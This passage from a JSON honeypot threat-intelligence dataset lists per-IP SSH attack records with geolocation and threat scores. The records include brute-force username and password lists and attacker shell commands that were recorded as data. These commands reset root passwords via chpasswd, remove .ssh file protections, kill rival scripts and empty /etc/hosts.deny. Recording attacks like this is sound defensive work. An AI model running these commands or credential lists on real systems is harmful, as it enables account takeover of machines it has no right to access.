      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "000001",
        "Dd112211",
        "ab001",
        "bind",
        "ctrip",
        "eleme",
        "fu",
        "killer",
        "kubernetes",
        "linecloud",
        "password",
        "pubg123",
        "shujuku",
        "superman",
        "tiller",
        "v2ray",
        "wangfang"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\n9JKuHVJNBUCK\\n9JKuHVJNBUCK\\n\"|passwd",
        "echo \"ctrip\\nwpCQW27gLmqC\\nwpCQW27gLmqC\\n\"|passwd",
        "echo \"kubernetes\\nXYgeoODDxaTS\\nXYgeoODDxaTS\\n\"|passwd",
        "echo \"root:QK3AuAuG1Bvx\"|chpasswd|bash",
        "echo \"root:uwX02GQDYbGF\"|chpasswd|bash",
        "echo -e \"123456\\n9JKuHVJNBUCK\\n9JKuHVJNBUCK\"|passwd|bash",
        "echo -e \"ctrip\\nwpCQW27gLmqC\\nwpCQW27gLmqC\"|passwd|bash",
        "echo -e \"kubernetes\\nXYgeoODDxaTS\\nXYgeoODDxaTS\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Yuanlin",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 26.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 517,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T09:42:46.694000+00:00",
        "last_seen_30d": "2026-05-21T10:22:04.575000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 448,
        "Suricata": 69
      }
    },
    "165.154.6.126": {
      "attack_count": 420,
      "first_seen": "2026-05-15T03:47:53.322Z",
      "last_seen": "2026-05-15T04:27:23.689Z",
      "sessions": 37,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "enter",
        "jflhi5za",
        "shrvn6xd",
        "adrian",
        "alex",
        "git",
        "guest",
        "issabel",
        "james",
        "jcon0r73",
        "linux",
        "master",
        "pakchoi",
        "rsacgo23",
        "test1",
        "user",
        "user1",
        "userlogin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "linux123",
        "!Aa123456",
        "1",
        "1111",
        "123",
        "123123",
        "123321",
        "1234",
        "12345",
        "123456789",
        "123Qwe123C",
        "123qweasd",
        "8.5vHtXSSViFDvKi+TB.",
        "Itsemoemo2024@Washere2024",
        "KZ+1E0C~_qz+E2wt64ko",
        "Kermit123@",
        "YourPassword@6942",
        "aaAA11!!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"KZ+1E0C~_qz+E2wt64ko\\nXacWnI3MfvnC\\nXacWnI3MfvnC\\n\"|passwd",
        "echo \"drHsosw0iIPRMnLcZUwC\\n7DFEnWd6WzjT\\n7DFEnWd6WzjT\\n\"|passwd",
        "echo \"enter@123\\n06adekDAX2Oj\\n06adekDAX2Oj\\n\"|passwd",
        "echo \"root:gvpwjefwxT4i\"|chpasswd|bash",
        "echo -e \"KZ+1E0C~_qz+E2wt64ko\\nXacWnI3MfvnC\\nXacWnI3MfvnC\"|passwd|bash",
        "echo -e \"drHsosw0iIPRMnLcZUwC\\n7DFEnWd6WzjT\\n7DFEnWd6WzjT\"|passwd|bash",
        "echo -e \"enter@123\\n06adekDAX2Oj\\n06adekDAX2Oj\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 18.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 502,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T03:47:53.322000+00:00",
        "last_seen_30d": "2026-05-15T04:28:31.185000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 420,
        "Suricata": 82
      }
    },
    "129.226.81.50": {
      "attack_count": 372,
      "first_seen": "2026-05-18T17:05:29.038Z",
      "last_seen": "2026-05-18T17:37:00.036Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "0okm9ijn",
        "102030",
        "136161",
        "Mexico123",
        "Qwe123!!",
        "Redvirtual09",
        "a1234567",
        "abc.123456",
        "dallas",
        "federico",
        "imprime",
        "qweasd123",
        "samara",
        "singularity",
        "sparky",
        "tsalarian",
        "tybalt1",
        "unique"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:RIGxuwn8CYCE\"|chpasswd|bash",
        "echo \"root:ZUQN7DDelvHS\"|chpasswd|bash",
        "echo \"root:dCXBeVmruHdE\"|chpasswd|bash",
        "echo \"root:uyw1PHBQmh7T\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 22.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 434,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T17:05:29.038000+00:00",
        "last_seen_30d": "2026-05-18T17:38:02.371000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 372,
        "Suricata": 62
      }
    },
    "41.242.115.83": {
      "attack_count": 360,
      "first_seen": "2026-05-23T09:29:11.736Z",
      "last_seen": "2026-05-28T19:32:20.841Z",
      "sessions": 37,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "server",
        "admin",
        "alice",
        "cms",
        "git",
        "gituser",
        "mcuser",
        "niti",
        "peter",
        "prueba",
        "ubuntu",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#123qwe",
        "123123",
        "1234",
        "123456",
        "1236547890",
        "123qwe..",
        "A123a123",
        "Aa4226391.",
        "Aa654321",
        "L@y3rh0st2024",
        "Pa$$w0rd",
        "Qaz12345678!",
        "Qq101010",
        "Qq112233..",
        "Qqqq1111",
        "ROOT",
        "aaa123",
        "abcde12345"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123123\\ntncSvO1vwDGG\\ntncSvO1vwDGG\\n\"|passwd",
        "echo \"root:8Ube1J5OvGdg\"|chpasswd|bash",
        "echo \"root:TpKtqPwYTho8\"|chpasswd|bash",
        "echo -e \"123123\\ntncSvO1vwDGG\\ntncSvO1vwDGG\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Ghana",
      "country_code": "GH",
      "city": "Accra",
      "asn": 37613,
      "as_org": "Dolphin-Telecom-AS",
      "threat_score": 39.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.5,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 447,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T09:29:11.736000+00:00",
        "last_seen_30d": "2026-05-28T19:33:23.421000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 360,
        "Suricata": 87
      }
    },
    "222.127.73.15": {
      "attack_count": 358,
      "first_seen": "2026-05-19T18:49:49.222Z",
      "last_seen": "2026-05-20T18:07:38.570Z",
      "sessions": 179,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Lahug",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 26.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 552,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:49:49.222000+00:00",
        "last_seen_30d": "2026-05-20T18:08:39.627000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 358,
        "Suricata": 194
      }
    },
    "152.32.130.174": {
      "attack_count": 218,
      "first_seen": "2026-05-07T16:34:02.068Z",
      "last_seen": "2026-05-07T17:03:24.849Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "jenkins",
        "345gs5662d34",
        "ftpuser",
        "ftpusr",
        "steam1"
      ],
      "passwords_attempted": [
        "!qaz2wsx123",
        "123",
        "123456!",
        "123QWE!!",
        "123aaa123",
        "1475963",
        "1a2s3d4f5g6h7j8k9l",
        "3245gs5662d34",
        "345gs5662d34",
        "3edcxsw21qaz",
        "Asd112233",
        "Jenkins",
        "Jl123456789",
        "P@ssw0rD",
        "QH@123456",
        "Qwer123.",
        "Test@123456",
        "Toor123",
        "Welcome2025!",
        "Welkom01"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:uhbYXwnx0Gzv\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 288,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T16:34:02.068000+00:00",
        "last_seen_30d": "2026-05-07T17:04:34.445000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 70
      }
    },
    "172.190.89.127": {
      "attack_count": 218,
      "first_seen": "2026-05-07T16:04:17.166Z",
      "last_seen": "2026-05-07T17:01:05.856Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "dev",
        "minecraft",
        "oracle",
        "student1",
        "student9",
        "ubuntu",
        "user001"
      ],
      "passwords_attempted": [
        "!QAZ@wsx3edc",
        "123456789@abc",
        "12345qwer",
        "1234admin",
        "1qaz!Qaz",
        "1qaz@WSX!@#",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa1234567890@",
        "Centos@2025",
        "Ceshi123",
        "Config123",
        "Ma123456.",
        "Qwer@12345",
        "School@123",
        "aa123456...",
        "dev123456",
        "merdeka45",
        "minecraft2024",
        "oracle123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:L4SASnsMNg7I\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 288,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T16:04:17.166000+00:00",
        "last_seen_30d": "2026-05-07T17:02:07.140000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 70
      }
    },
    "192.169.243.246": {
      "attack_count": 191,
      "first_seen": "2026-05-19T20:59:54.227Z",
      "last_seen": "2026-05-19T21:29:22.275Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!Password1",
        "!QAZ2wsxcde3",
        "1902",
        "1969",
        "abcd1234@",
        "atpco",
        "claude",
        "football123",
        "jxu1234",
        "linuxroot",
        "netflow",
        "newnew",
        "nithya",
        "oozie",
        "presto",
        "share",
        "sisadmin",
        "spider"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:2g5T0EnJ4qZC\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398101,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 22.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 246,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T20:59:54.227000+00:00",
        "last_seen_30d": "2026-05-19T21:30:26.147000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 191,
        "Suricata": 55
      }
    },
    "43.134.37.25": {
      "attack_count": 159,
      "first_seen": "2026-05-19T21:12:50.398Z",
      "last_seen": "2026-05-19T21:41:11.163Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1938",
        "718718",
        "Asdf1234",
        "ChangeMe",
        "admin1",
        "claude",
        "confound",
        "cyyang",
        "evergreen",
        "iJ93MnFj4VnWf0sA78gCx",
        "jerry",
        "o12nu27",
        "password1!",
        "qa123",
        "qwertyuiop123.",
        "sarah",
        "sbserver",
        "shawn123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 21.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 219,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T21:12:50.398000+00:00",
        "last_seen_30d": "2026-05-19T21:42:11.808000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 159,
        "Suricata": 60
      }
    },
    "196.189.236.216": {
      "attack_count": 144,
      "first_seen": "2026-05-30T20:54:03.007Z",
      "last_seen": "2026-05-30T21:25:20.639Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "minecraft",
        "345gs5662d34",
        "dev",
        "front",
        "ftpuser",
        "maill",
        "mdepaula",
        "mdm",
        "support",
        "test",
        "ubuntu"
      ],
      "passwords_attempted": [
        "1",
        "3245gs5662d34",
        "345gs5662d34",
        "7758521",
        "960..123",
        "Welcome@2024",
        "admin123",
        "front",
        "hzhg@123654",
        "mdepaula",
        "mdm",
        "minecraft1234",
        "passwd",
        "qwe123!@#",
        "qwe123QWE!@",
        "qweQWE123!@#",
        "ved"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"minecraft1234\\n8DSSsGVV35rL\\n8DSSsGVV35rL\\n\"|passwd",
        "echo -e \"minecraft1234\\n8DSSsGVV35rL\\n8DSSsGVV35rL\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Addis Ababa",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 34.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 183,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T20:54:03.007000+00:00",
        "last_seen_30d": "2026-05-30T21:26:23.171000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 39
      }
    },
    "107.180.90.76": {
      "attack_count": 143,
      "first_seen": "2026-05-23T21:36:19.312Z",
      "last_seen": "2026-05-23T22:24:24.572Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "deployer",
        "git",
        "james",
        "minecraft",
        "test",
        "uzivatel",
        "yann"
      ],
      "passwords_attempted": [
        "1020",
        "111",
        "112358",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa123456789@",
        "aaa111222",
        "admin123",
        "james123",
        "p@ssw0Rd",
        "pass",
        "passroot",
        "password1",
        "qaz123123",
        "uzivatel",
        "y",
        "yann"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:PsBRNei2DRGU\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 398101,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 26.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 185,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T21:36:19.312000+00:00",
        "last_seen_30d": "2026-05-23T22:25:24.855000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 42
      }
    },
    "171.113.154.233": {
      "attack_count": 134,
      "first_seen": "2026-05-21T06:33:55.460Z",
      "last_seen": "2026-05-22T17:23:40.912Z",
      "sessions": 67,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuhan",
      "asn": 137266,
      "as_org": "CHINATELECOM Hubei province Wuhan 5G network",
      "threat_score": 25.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 209,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T06:33:55.460000+00:00",
        "last_seen_30d": "2026-05-22T17:24:44.805000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 134,
        "Suricata": 75
      }
    },
    "95.168.164.241": {
      "attack_count": 120,
      "first_seen": "2026-05-05T01:14:16.036Z",
      "last_seen": "2026-05-15T23:55:56.171Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 60781,
      "as_org": "LeaseWeb Netherlands B.V.",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.5,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 140,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
